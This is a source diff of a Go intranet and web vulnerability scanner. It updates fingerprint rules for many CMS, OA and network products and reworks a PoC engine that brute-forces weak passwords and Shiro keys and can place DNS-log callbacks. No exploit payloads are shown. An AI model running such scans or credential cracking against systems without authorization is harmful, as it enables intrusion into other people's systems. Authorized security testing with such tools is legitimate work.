+[+] 2021/5/29 Adding the fcgi protocol to execute the scan of unauthorized commands, optimizing the poc module, optimizing the icmp module, and adding the ssh module to the private key connection.  
+[+] 2021/5/15 Added win03 version (deleted xray_poc module), added silent scanning mode, added web fingerprint, fixed netbios module array overrun, added a CheckErrs dictionary, and added gzip decoding to webtitle.   
+[+] 2021/5/6 Update mod library, poc and fingerprint. Modify thread processing mechanism, netbios detection, domain control identification module, webtitle encoding module, etc.  
+[+] 2021/4/22 Modify webtitle module and add gbk decoding.  
+[+] 2021/4/21 Add netbios detection and domain control identification functions.    
+[+] 2021/3/4 Support -u url and -uf parameters, support batch scan URLs.  
+[+] 2021/2/25 Modify the yaml parsing module to support password explosion, such as tomcat weak password. The new sets parameter in yaml is an array, which is used to store passwords. See tomcat-manager-week.yaml for details.  
+[+] 2021/2/8 Add fingerprint identification function to identify common CMS and frameworks, such as Zhiyuan OA and Tongda OA.  
+[+] 2021/2/5 Modify the icmp packet mode, which is more suitable for large-scale detection.  
+Modify the error prompt. If there is no new progress in - debug within 10 seconds, the current progress will be printed every 10 seconds.  
+[+] 2020/12/12 The yaml parsing engine has been added to support the poc of xray. By default, all the poc are used (the poc of xray has been filtered). You can use - pocname weblogic, and only one or some poc is used. Need go version 1.16 or above, and can only compile the latest version of go for testing.   
+[+] 2020/12/6 Optimize the icmp module and add the -domain parameter (for the smb blasting module, applicable to domain users)   
+[+] 2020/12/03 Optimize the ip segment processing module, icmp, port scanning module. 192.168.1.1-192.168.255.255 is supported.   
+[+] 2020/11/17 The -ping parameter is added to replace icmp packets with ping in the survival detection module.   
+[+] 2020/11/17 WebScan module and shiro simple recognition are added. Skip certificate authentication during https access. Separate the timeout of the service module and the web module, and add the -wt parameter (WebTimeout).    
+[+] 2020/11/16 Optimize the icmp module and add the -it parameter (IcmpThreads). The default value is 11000, which is suitable for scanning section B.    
+[+] 2020/11/15 Support importt ip from file, -hf ip.txt, and process de duplication ips.  
+
+[url-doczh]: README.md

WebScan/InfoScan.go

@@ -28,17 +28,17 @@ func InfoCheck(Url string, CheckData *[]CheckDatas) []string {
 				infoname = append(infoname, rule.Name)
 			}
 		}
-		flag, name := CalcMd5(data.Body)
+		//flag, name := CalcMd5(data.Body)
 
-		if flag == true {
-			infoname = append(infoname, name)
-		}
+		//if flag == true {
+		//	infoname = append(infoname, name)
+		//}
 	}
 
 	infoname = removeDuplicateElement(infoname)
 
 	if len(infoname) > 0 {
-		result := fmt.Sprintf("[+] InfoScan:%-25v %s ", Url, infoname)
+		result := fmt.Sprintf("[+] InfoScan %-25v %s ", Url, infoname)
 		common.LogSuccess(result)
 		return infoname
 	}

WebScan/WebScan.go

@@ -40,12 +40,14 @@ func Execute(PocInfo common.PocInfo) {
 		common.LogError(errlog)
 		return
 	}
-	req.Header.Set("User-agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36")
-	if PocInfo.Cookie != "" {
-		req.Header.Set("Cookie", PocInfo.Cookie)
+	req.Header.Set("User-agent", common.UserAgent)
+	req.Header.Set("Accept", common.Accept)
+	req.Header.Set("Accept-Language", "zh-CN,zh;q=0.9")
+	if common.Cookie != "" {
+		req.Header.Set("Cookie", common.Cookie)
 	}
 	pocs := filterPoc(PocInfo.PocName)
-	lib.CheckMultiPoc(req, pocs, PocInfo.Num)
+	lib.CheckMultiPoc(req, pocs, common.PocNum)
 }
 
 func initpoc() {
@@ -64,6 +66,7 @@ func initpoc() {
 			}
 		}
 	} else {
+		fmt.Println("[+] load poc from " + common.PocPath)
 		err := filepath.Walk(common.PocPath,
 			func(path string, info os.FileInfo, err error) error {
 				if err != nil || info == nil {

WebScan/info/rules.go

@@ -64,7 +64,7 @@ var RuleDatas = []RuleData{
 	{"Nexus", "cookie", "(NX-ANTI-CSRF-TOKEN)"},
 	{"Harbor", "code", "(<title>Harbor</title>)"},
 	{"Harbor", "cookie", "(harbor-lang)"},
-	{"禅道", "code", "(/theme/default/images/main/zt-logo.png)"},
+	{"禅道", "code", "(/theme/default/images/main/zt-logo.png|/zentao/theme/zui/css/min.css)"},
 	{"禅道", "cookie", "(zentaosid)"},
 	{"协众OA", "code", "(Powered by 协众OA)"},
 	{"协众OA", "cookie", "(CNOAOASESSID)"},
@@ -88,8 +88,7 @@ var RuleDatas = []RuleData{
 	{"CISCO_EPC3925", "code", "(Docsis_system)"},
 	{"CISCO ASR", "code", "(CISCO ASR)"},
 	{"H3C ER3200", "code", "(ER3200系统管理)"},
-	{"万户ezOFFICE", "headers", "(LocLan)"},
-	{"万户网络", "code", "(css/css_whir.css)"},
+	{"万户oa", "code", "(/defaultroot/templates/template_system/common/css/|/defaultroot/scripts/|css/css_whir.css)"},
 	{"Spark_Master", "code", "(Spark Master at)"},
 	{"华为_HUAWEI_SRG2220", "code", "(HUAWEI SRG2220)"},
 	{"蓝凌OA", "code", "(/scripts/jquery.landray.common.js)"},
@@ -110,7 +109,7 @@ var RuleDatas = []RuleData{
 	{"Citrix-XenServer", "code", "(Citrix Systems, Inc. XenServer)"},
 	{"H3C ER2100V2", "code", "(ER2100V2系统管理)"},
 	{"zabbix", "cookie", "(zbx_sessionid)"},
-	{"zabbix", "code", "(images/general/zabbix.ico|Zabbix SIA)"},
+	{"zabbix", "code", "(images/general/zabbix.ico|Zabbix SIA|zabbix-server: Zabbix)"},
 	{"CISCO_VPN", "headers", "(webvpn)"},
 	{"360站长平台", "code", "(360-site-verification)"},
 	{"H3C ER3108GW", "code", "(ER3108GW系统管理)"},
@@ -128,7 +127,7 @@ var RuleDatas = []RuleData{
 	{"H3C ER6300G2", "code", "(ER6300G2系统管理)"},
 	{"H3C ER3260", "code", "(ER3260系统管理)"},
 	{"华为_HUAWEI_SRG3250", "code", "(HUAWEI SRG3250)"},
-	{"exchange", "code", "(/owa/auth.owa)"},
+	{"exchange", "code", "(/owa/auth.owa|Exchange Admin Center)"},
 	{"Spark_Worker", "code", "(Spark Worker at)"},
 	{"H3C ER3108G", "code", "(ER3108G系统管理)"},
 	{"Citrix-ConfProxy", "code", "(confproxy)"},
@@ -145,7 +144,7 @@ var RuleDatas = []RuleData{
 	{"金和协同管理平台", "code", "(金和协同管理平台)"},
 	{"Citrix-NetScaler", "code", "(NS-CACHE)"},
 	{"linksys-vpn", "headers", "(linksys-vpn)"},
-	{"通达OA", "code", "(/static/images/tongda.ico|http://www.tongda2000.com|通达OA移动版)"},
+	{"通达OA", "code", "(/static/images/tongda.ico|http://www.tongda2000.com|通达OA移动版|Office Anywhere)"},
 	{"华为（HUAWEI）Secoway设备", "code", "(Secoway)"},
 	{"华为_HUAWEI_SRG1220", "code", "(HUAWEI SRG1220)"},
 	{"H3C ER2100n", "code", "(ER2100n系统管理)"},
@@ -169,9 +168,8 @@ var RuleDatas = []RuleData{
 	{"VMware vSphere", "code", "(VMware vSphere)"},
 	{"打印机", "code", "(打印机|media/canon.gif)"},
 	{"finereport", "code", "(isSupportForgetPwd|FineReport,Web Reporting Tool)"},
-	{"蓝凌OA", "code", "(蓝凌软件|StylePath:\"/resource/style/default/\"|/resource/customization)"},
+	{"蓝凌OA", "code", "(蓝凌软件|StylePath:\"/resource/style/default/\"|/resource/customization|sys/ui/extend/theme/default/style/profile.css|sys/ui/extend/theme/default/style/icon.css)"},
 	{"GitLab", "code", "(href=\"https://about.gitlab.com/)"},
-	{"用友", "code", "(YONYOU NC | /Client/Uclient/UClient.dmg|iufo/web/css/menu.css|/System/Login/Login.asp?AppID=|/nc/servlet/nc.ui.iufo.login.Index)"},
 	{"Jquery-1.7.2", "code", "(/webui/js/jquerylib/jquery-1.7.2.min.js)"},
 	{"Hadoop Applications", "code", "(/cluster/app/application)"},
 	{"海昌OA", "code", "(/loginmain4/js/jquery.min.js)"},
@@ -201,7 +199,6 @@ var RuleDatas = []RuleData{
 	{"IBM-Lotus-Domino", "code", "(/mailjump.nsf|/domcfg.nsf|/names.nsf|/homepage.nsf)"},
 	{"APACHE-kylin", "code", "(url=kylin)"},
 	{"C-Lodop打印服务系统", "code", "(/CLodopfuncs.js|www.c-lodop.com)"},
-	{"ATLASSIAN-Confluence", "code", "(Atlassian Confluence)"},
 	{"HFS", "code", "(href=\"http://www.rejetto.com/hfs/)"},
 	{"Jellyfin", "code", "(content=\"http://jellyfin.org\")"},
 	{"FIT2CLOUD-JumpServer-堡垒机", "code", "(<title>JumpServer</title>)"},
@@ -232,7 +229,7 @@ var RuleDatas = []RuleData{
 	{"帕拉迪统一安全管理和综合审计系统", "code", "(module/image/pldsec.css)"},
 	{"蓝盾BDWebGuard", "code", "(BACKGROUND: url(images/loginbg.jpg) #e5f1fc)"},
 	{"Huawei SMC", "code", "(Script/SmcScript.js?version=)"},
-	{"coremail", "code", "(/coremail/bundle/|contextRoot: \"/coremail\")"},
+	{"coremail", "code", "(/coremail/bundle/|contextRoot: \"/coremail\"|coremail/common)"},
 	{"activemq", "code", "(activemq_logo|Manage ActiveMQ broker)"},
 	{"锐捷网络", "code", "(static/img/title.ico|support.ruijie.com.cn|Ruijie - NBR|eg.login.loginBtn)"},
 	{"禅道", "code", "(/theme/default/images/main/zt-logo.png|zentaosid)"},
@@ -246,14 +243,22 @@ var RuleDatas = []RuleData{
 	{"Swagger UI", "code", "(/swagger-ui.css|swagger-ui-bundle.js|swagger-ui-standalone-preset.js)"},
 	{"金蝶政务GSiS", "code", "(/kdgs/script/kdgs.js|HTML5/content/themes/kdcss.min.css|/ClientBin/Kingdee.BOS.XPF.App.xap)"},
 	{"蓝凌OA", "code", "(蓝凌软件|StylePath:\"/resource/style/default/\"|/resource/customization|sys/ui/extend/theme/default/style/icon.css|sys/ui/extend/theme/default/style/profile.css)"},
-	{"用友NC", "code", "(YONYOU NC | /Client/Uclient/UClient.dmg)"},
+	{"用友NC", "code", "(Yonyou UAP|YONYOU NC|/Client/Uclient/UClient.dmg|logo/images/ufida_nc.png|iufo/web/css/menu.css|/System/Login/Login.asp?AppID=|/nc/servlet/nc.ui.iufo.login.Index)"},
 	{"用友IUFO", "code", "(iufo/web/css/menu.css)"},
 	{"TELEPORT堡垒机", "code", "(/static/plugins/blur/background-blur.js)"},
 	{"JEECMS", "code", "(/r/cms/www/red/js/common.js|/r/cms/www/red/js/indexshow.js|Powered by JEECMS|JEECMS|/jeeadmin/jeecms/index.do)"},
 	{"CMS", "code", "(Powered by .*CMS)"},
-	{"editor", "code", "(editor)"},
-	{"ATLASSIAN-Confluence", "code", "(confluence.)"},
+	{"目录遍历", "code", "(Directory listing for /)"},
+	{"ATLASSIAN-Confluence", "code", "(com.atlassian.confluence)"},
+	{"ATLASSIAN-Confluence", "headers", "(X-Confluence)"},
 	{"向日葵", "code", "({\"success\":false,\"msg\":\"Verification failure\"})"},
+	{"Kubernetes", "code", "(Kubernetes Dashboard</title>|Kubernetes Enterprise Manager|Mirantis Kubernetes Engine|Kubernetes Resource Report)"},
+	{"WordPress", "code", "(/wp-login.php?action=lostpassword|WordPress</title>)"},
+	{"RabbitMQ", "code", "(RabbitMQ Management)"},
+	{"dubbo", "headers", "(Basic realm=\"dubbo\")"},
+	{"Spring env", "code", "(logback)"},
+	{"ueditor", "code", "(ueditor.all.js|UE.getEditor)"},
+	{"亿邮电子邮件系统", "code", "(亿邮电子邮件系统|亿邮邮件整体解决方案)"},
 }
 
 var Md5Datas = []Md5Data{

WebScan/lib/check.go

@@ -1,6 +1,7 @@
 package lib
 
 import (
+	"crypto/md5"
 	"fmt"
 	"github.com/google/cel-go/cel"
 	"github.com/shadow1ng/fscan/WebScan/info"
@@ -9,7 +10,6 @@ import (
 	"net/http"
 	"net/url"
 	"regexp"
-	"sort"
 	"strings"
 	"sync"
 	"time"
@@ -33,7 +33,7 @@ func CheckMultiPoc(req *http.Request, pocs []*Poc, workers int) {
 			for task := range tasks {
 				isVul, _, name := executePoc(task.Req, task.Poc)
 				if isVul {
-					result := fmt.Sprintf("[+] %s %s %s", task.Req.URL, task.Poc.Name, name)
+					result := fmt.Sprintf("[+] PocScan %s %s %s", task.Req.URL, task.Poc.Name, name)
 					common.LogSuccess(result)
 				}
 				wg.Done()
@@ -56,9 +56,13 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
 	c := NewEnvOption()
 	c.UpdateCompileOptions(p.Set)
 	if len(p.Sets) > 0 {
-		setMap := make(map[string]string)
-		for k := range p.Sets {
-			setMap[k] = p.Sets[k][0]
+		var setMap StrMap
+		for _, item := range p.Sets {
+			if len(item.Value) > 0 {
+				setMap = append(setMap, StrItem{item.Key, item.Value[0]})
+			} else {
+				setMap = append(setMap, StrItem{item.Key, ""})
+			}
 		}
 		c.UpdateCompileOptions(setMap)
 	}
@@ -73,92 +77,26 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
 		return false, err, ""
 	}
 	variableMap := make(map[string]interface{})
+	defer func() { variableMap = nil }()
 	variableMap["request"] = req
-
-	// 现在假定set中payload作为最后产出，那么先排序解析其他的自定义变量，更新map[string]interface{}后再来解析payload
-	keys := make([]string, 0)
-	keys1 := make([]string, 0)
-	for k := range p.Set {
-		if strings.Contains(strings.ToLower(p.Set[k]), "random") && strings.Contains(strings.ToLower(p.Set[k]), "(") {
-			keys = append(keys, k) //优先放入调用random系列函数的变量
-		} else {
-			keys1 = append(keys1, k)
+	for _, item := range p.Set {
+		k, expression := item.Key, item.Value
+		if expression == "newReverse()" {
+			if !common.DnsLog {
+				return false, nil, ""
+			}
+			variableMap[k] = newReverse()
+			continue
 		}
-	}
-	sort.Strings(keys)
-	sort.Strings(keys1)
-	keys = append(keys, keys1...)
-	for _, k := range keys {
-		expression := p.Set[k]
-		if k != "payload" {
-			if expression == "newReverse()" {
-				variableMap[k] = newReverse()
-				continue
-			}
-			out, err := Evaluate(env, expression, variableMap)
-			if err != nil {
-				//fmt.Println(p.Name,"  poc_expression error",err)
-				variableMap[k] = expression
-				continue
-			}
-			switch value := out.Value().(type) {
-			case *UrlType:
-				variableMap[k] = UrlTypeToString(value)
-			case int64:
-				variableMap[k] = int(value)
-			case []uint8:
-				variableMap[k] = fmt.Sprintf("%s", out)
-			default:
-				variableMap[k] = fmt.Sprintf("%v", out)
-			}
-		}
-	}
-
-	if p.Set["payload"] != "" {
-		out, err := Evaluate(env, p.Set["payload"], variableMap)
+		err, _ = evalset(env, variableMap, k, expression)
 		if err != nil {
-			//fmt.Println(p.Name,"  poc_payload error",err)
-			return false, err, ""
-		}
-		variableMap["payload"] = fmt.Sprintf("%v", out)
-	}
-
-	setslen := 0
-	haspayload := false
-	var setskeys []string
-	if len(p.Sets) > 0 {
-		for _, rule := range p.Rules {
-			for k := range p.Sets {
-				if strings.Contains(rule.Body, "{{"+k+"}}") || strings.Contains(rule.Path, "{{"+k+"}}") {
-					if strings.Contains(k, "payload") {
-						haspayload = true
-					}
-					setslen++
-					setskeys = append(setskeys, k)
-					continue
-				}
-				for k2 := range rule.Headers {
-					if strings.Contains(rule.Headers[k2], "{{"+k+"}}") {
-						if strings.Contains(k, "payload") {
-							haspayload = true
-						}
-						setslen++
-						setskeys = append(setskeys, k)
-						continue
-					}
-				}
-			}
+			fmt.Printf("[-] %s evalset error: %v\n", p.Name, err)
 		}
 	}
-
 	success := false
 	//爆破模式,比如tomcat弱口令
-	if setslen > 0 {
-		if haspayload {
-			success, err = clusterpoc1(oReq, p, variableMap, req, env, setskeys)
-		} else {
-			success, err = clusterpoc(oReq, p, variableMap, req, env, setslen, setskeys)
-		}
+	if len(p.Sets) > 0 {
+		success, err = clusterpoc(oReq, p, variableMap, req, env)
 		return success, nil, ""
 	}
 
@@ -179,8 +117,8 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
 				}
 				Headers[k2] = strings.ReplaceAll(v2, "{{"+k1+"}}", value)
 			}
-			rule.Path = strings.ReplaceAll(strings.TrimSpace(rule.Path), "{{"+k1+"}}", value)
-			rule.Body = strings.ReplaceAll(strings.TrimSpace(rule.Body), "{{"+k1+"}}", value)
+			rule.Path = strings.ReplaceAll(rule.Path, "{{"+k1+"}}", value)
+			rule.Body = strings.ReplaceAll(rule.Body, "{{"+k1+"}}", value)
 		}
 
 		if oReq.URL.Path != "" && oReq.URL.Path != "/" {
@@ -190,22 +128,28 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
 		}
 		// 某些poc没有区分path和query，需要处理
 		req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20")
-		req.Url.Path = strings.ReplaceAll(req.Url.Path, "+", "%20")
+		//req.Url.Path = strings.ReplaceAll(req.Url.Path, "+", "%20")
 
-		newRequest, _ := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path), strings.NewReader(rule.Body))
+		newRequest, err := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, string([]rune(req.Url.Path))), strings.NewReader(rule.Body))
+		if err != nil {
+			//fmt.Println("[-] newRequest error: ",err)
+			return false, err
+		}
 		newRequest.Header = oReq.Header.Clone()
 		for k, v := range Headers {
 			newRequest.Header.Set(k, v)
 		}
+		Headers = nil
 		resp, err := DoRequest(newRequest, rule.FollowRedirects)
+		newRequest = nil
 		if err != nil {
 			return false, err
 		}
 		variableMap["response"] = resp
 		// 先判断响应页面是否匹配search规则
 		if rule.Search != "" {
-			result := doSearch(strings.TrimSpace(rule.Search), string(resp.Body))
-			if result != nil && len(result) > 0 { // 正则匹配成功
+			result := doSearch(rule.Search, GetHeader(resp.Headers)+string(resp.Body))
+			if len(result) > 0 { // 正则匹配成功
 				for k, v := range result {
 					variableMap[k] = v
 				}
@@ -217,7 +161,6 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
 		if err != nil {
 			return false, err
 		}
-		//fmt.Println(fmt.Sprintf("%v, %s", out, out.Type().TypeName()))
 		//如果false不继续执行后续rule
 		// 如果最后一步执行失败，就算前面成功了最终依旧是失败
 		flag, ok = out.Value().(bool)
@@ -231,10 +174,6 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
 		successFlag := false
 		for _, rule := range rules {
 			flag, err := DealWithRule(rule)
-			//if err != nil {
-			//	fmt.Printf("[-] %s Execute Rule error: %s\n",p.Name,err.Error())
-			//}
-
 			if err != nil || !flag { //如果false不继续执行后续rule
 				successFlag = false // 如果其中一步为flag，则直接break
 				break
@@ -247,7 +186,8 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
 	if len(p.Rules) > 0 {
 		success = DealWithRules(p.Rules)
 	} else {
-		for name, rules := range p.Groups {
+		for _, item := range p.Groups {
+			name, rules := item.Key, item.Value
 			success = DealWithRules(rules)
 			if success {
 				return success, nil, name
@@ -261,6 +201,7 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
 func doSearch(re string, body string) map[string]string {
 	r, err := regexp.Compile(re)
 	if err != nil {
+		fmt.Println("[-] regexp.Compile error: ", err)
 		return nil
 	}
 	result := r.FindStringSubmatch(body)
@@ -269,7 +210,11 @@ func doSearch(re string, body string) map[string]string {
 		paramsMap := make(map[string]string)
 		for i, name := range names {
 			if i > 0 && i <= len(result) {
-				paramsMap[name] = result[i]
+				if strings.HasPrefix(re, "Set-Cookie:") && strings.Contains(name, "cookie") {
+					paramsMap[name] = optimizeCookies(result[i])
+				} else {
+					paramsMap[name] = result[i]
+				}
 			}
 		}
 		return paramsMap
@@ -277,341 +222,220 @@ func doSearch(re string, body string) map[string]string {
 	return nil
 }
 
+func optimizeCookies(rawCookie string) (output string) {
+	// Parse the cookies
+	parsedCookie := strings.Split(rawCookie, "; ")
+	for _, c := range parsedCookie {
+		nameVal := strings.Split(c, "=")
+		if len(nameVal) >= 2 {
+			switch strings.ToLower(nameVal[0]) {
+			case "expires", "max-age", "path", "domain", "version", "comment", "secure", "samesite", "httponly":
+				continue
+			}
+			output += fmt.Sprintf("%s=%s; ", nameVal[0], strings.Join(nameVal[1:], "="))
+		}
+	}
+
+	return
+}
+
 func newReverse() *Reverse {
-	letters := "1234567890abcdefghijklmnopqrstuvwxyz"
-	randSource := rand.New(rand.NewSource(time.Now().Unix()))
-	sub := RandomStr(randSource, letters, 8)
-	if true {
-		//默认不开启dns解析
+	if !common.DnsLog {
 		return &Reverse{}
 	}
+	letters := "1234567890abcdefghijklmnopqrstuvwxyz"
+	randSource := rand.New(rand.NewSource(time.Now().UnixNano()))
+	sub := RandomStr(randSource, letters, 8)
+	//if true {
+	//	//默认不开启dns解析
+	//	return &Reverse{}
+	//}
 	urlStr := fmt.Sprintf("http://%s.%s", sub, ceyeDomain)
 	u, _ := url.Parse(urlStr)
 	return &Reverse{
-		Url:                ParseUrl(u),
+		Url:                urlStr,
 		Domain:             u.Hostname(),
-		Ip:                 "",
+		Ip:                 u.Host,
 		IsDomainNameServer: false,
 	}
 }
 
-func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env, slen int, keys []string) (success bool, err error) {
-	for _, rule := range p.Rules {
-		for k1, v1 := range variableMap {
-			if IsContain(keys, k1) {
-				continue
-			}
-			_, isMap := v1.(map[string]string)
-			if isMap {
-				continue
-			}
-			value := fmt.Sprintf("%v", v1)
-			for k2, v2 := range rule.Headers {
-				rule.Headers[k2] = strings.ReplaceAll(v2, "{{"+k1+"}}", value)
-			}
-			rule.Path = strings.ReplaceAll(strings.TrimSpace(rule.Path), "{{"+k1+"}}", value)
-			rule.Body = strings.ReplaceAll(strings.TrimSpace(rule.Body), "{{"+k1+"}}", value)
-		}
-
-		n := 0
-		for k := range p.Sets {
-			if strings.Contains(rule.Body, "{{"+k+"}}") || strings.Contains(rule.Path, "{{"+k+"}}") {
-				n++
-				continue
-			}
-			for k2 := range rule.Headers {
-				if strings.Contains(rule.Headers[k2], "{{"+k+"}}") {
-					n++
-					continue
-				}
-			}
-		}
-		if n == 0 {
+func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env) (success bool, err error) {
+	var strMap StrMap
+	var tmpnum int
+	for i, rule := range p.Rules {
+		if !isFuzz(rule, p.Sets) {
 			success, err = clustersend(oReq, variableMap, req, env, rule)
 			if err != nil {
 				return false, err
 			}
-			if success == false {
-				break
+			if success {
+				continue
+			} else {
+				return false, err
 			}
 		}
-
-		if slen == 1 {
-		look1:
-			for _, var1 := range p.Sets[keys[0]] {
-				rule1 := cloneRules(rule)
+		setsMap := Combo(p.Sets)
+		ruleHash := make(map[string]struct{})
+	look:
+		for j, item := range setsMap {
+			//shiro默认只跑10key
+			if p.Name == "poc-yaml-shiro-key" && !common.PocFull && j >= 10 {
+				if item[1] == "cbc" {
+					continue
+				} else {
+					if tmpnum == 0 {
+						tmpnum = j
+					}
+					if j-tmpnum >= 10 {
+						break
+					}
+				}
+			}
+			rule1 := cloneRules(rule)
+			var flag1 bool
+			var tmpMap StrMap
+			var payloads = make(map[string]interface{})
+			var tmpexpression string
+			for i, one := range p.Sets {
+				key, expression := one.Key, item[i]
+				if key == "payload" {
+					tmpexpression = expression
+				}
+				_, output := evalset1(env, variableMap, key, expression)
+				payloads[key] = output
+			}
+			for _, one := range p.Sets {
+				flag := false
+				key := one.Key
+				value := fmt.Sprintf("%v", payloads[key])
 				for k2, v2 := range rule1.Headers {
-					rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+keys[0]+"}}", var1)
+					if strings.Contains(v2, "{{"+key+"}}") {
+						rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+key+"}}", value)
+						flag = true
+					}
 				}
-				rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[0]+"}}", var1)
-				rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[0]+"}}", var1)
-				success, err = clustersend(oReq, variableMap, req, env, rule1)
-				if err != nil {
-					return false, err
+				if strings.Contains(rule1.Path, "{{"+key+"}}") {
+					rule1.Path = strings.ReplaceAll(rule1.Path, "{{"+key+"}}", value)
+					flag = true
 				}
-				if success == true {
-					break look1
+				if strings.Contains(rule1.Body, "{{"+key+"}}") {
+					rule1.Body = strings.ReplaceAll(rule1.Body, "{{"+key+"}}", value)
+					flag = true
+				}
+				if flag {
+					flag1 = true
+					if key == "payload" {
+						var flag2 bool
+						for k, v := range variableMap {
+							if strings.Contains(tmpexpression, k) {
+								flag2 = true
+								tmpMap = append(tmpMap, StrItem{k, fmt.Sprintf("%v", v)})
+							}
+						}
+						if flag2 {
+							continue
+						}
+					}
+					tmpMap = append(tmpMap, StrItem{key, value})
 				}
 			}
-			if success == false {
-				break
+			if !flag1 {
+				continue
+			}
+			has := md5.Sum([]byte(fmt.Sprintf("%v", rule1)))
+			md5str := fmt.Sprintf("%x", has)
+			if _, ok := ruleHash[md5str]; ok {
+				continue
+			}
+			ruleHash[md5str] = struct{}{}
+			success, err = clustersend(oReq, variableMap, req, env, rule1)
+			if err != nil {
+				return false, err
+			}
+			if success {
+				if rule.Continue {
+					if p.Name == "poc-yaml-backup-file" || p.Name == "poc-yaml-sql-file" {
+						common.LogSuccess(fmt.Sprintf("[+] PocScan %s://%s%s %s", req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name))
+					} else {
+						common.LogSuccess(fmt.Sprintf("[+] PocScan %s://%s%s %s %v", req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name, tmpMap))
+					}
+					continue
+				}
+				strMap = append(strMap, tmpMap...)
+				if i == len(p.Rules)-1 {
+					common.LogSuccess(fmt.Sprintf("[+] PocScan %s://%s%s %s %v", req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name, strMap))
+					//防止后续继续打印poc成功信息
+					return false, nil
+				}
+				break look
 			}
 		}
-
-		if slen == 2 {
-		look2:
-			for _, var1 := range p.Sets[keys[0]] {
-				for _, var2 := range p.Sets[keys[1]] {
-					rule1 := cloneRules(rule)
-					for k2, v2 := range rule1.Headers {
-						rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+keys[0]+"}}", var1)
-						rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+keys[1]+"}}", var2)
-					}
-					rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[0]+"}}", var1)
-					rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[0]+"}}", var1)
-					rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[1]+"}}", var2)
-					rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[1]+"}}", var2)
-					success, err = clustersend(oReq, variableMap, req, env, rule1)
-					if err != nil {
-						return false, err
-					}
-					if success == true {
-						break look2
-					}
-				}
-			}
-			if success == false {
-				break
-			}
+		if !success {
+			break
 		}
-
-		if slen == 3 {
-		look3:
-			for _, var1 := range p.Sets[keys[0]] {
-				for _, var2 := range p.Sets[keys[1]] {
-					for _, var3 := range p.Sets[keys[2]] {
-						rule1 := cloneRules(rule)
-						for k2, v2 := range rule1.Headers {
-							rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+keys[0]+"}}", var1)
-							rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+keys[1]+"}}", var2)
-							rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+keys[2]+"}}", var3)
-						}
-						rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[0]+"}}", var1)
-						rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[0]+"}}", var1)
-						rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[1]+"}}", var2)
-						rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[1]+"}}", var2)
-						rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[2]+"}}", var3)
-						rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[2]+"}}", var3)
-						success, err = clustersend(oReq, variableMap, req, env, rule)
-						if err != nil {
-							return false, err
-						}
-						if success == true {
-							break look3
-						}
-					}
-				}
-			}
-			if success == false {
-				break
-			}
+		if rule.Continue {
+			//防止后续继续打印poc成功信息
+			return false, nil
 		}
 	}
 	return success, nil
 }
 
-func clusterpoc1(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env, keys []string) (success bool, err error) {
-	setMap := make(map[string]interface{})
-	for k := range p.Sets {
-		setMap[k] = p.Sets[k][0]
-	}
-	setMapbak := cloneMap1(setMap)
-	for _, rule := range p.Rules {
-		for k1, v1 := range variableMap {
-			if IsContain(keys, k1) {
-				continue
-			}
-			_, isMap := v1.(map[string]string)
-			if isMap {
-				continue
-			}
-			value := fmt.Sprintf("%v", v1)
-			for k2, v2 := range rule.Headers {
-				rule.Headers[k2] = strings.ReplaceAll(v2, "{{"+k1+"}}", value)
-			}
-			rule.Path = strings.ReplaceAll(strings.TrimSpace(rule.Path), "{{"+k1+"}}", value)
-			rule.Body = strings.ReplaceAll(strings.TrimSpace(rule.Body), "{{"+k1+"}}", value)
-		}
-
-		varset := []string{}
-		varpay := []string{}
-		n := 0
-		for k := range p.Sets {
-			// 1. 如果rule中需要修改 {{k}} 如username、payload
-			if strings.Contains(rule.Body, "{{"+k+"}}") || strings.Contains(rule.Path, "{{"+k+"}}") {
-				if strings.Contains(k, "payload") {
-					varpay = append(varpay, k)
-				} else {
-					varset = append(varset, k)
-				}
-				n++
-				continue
-			}
-			for k2 := range rule.Headers {
-				if strings.Contains(rule.Headers[k2], "{{"+k+"}}") {
-					if strings.Contains(k, "payload") {
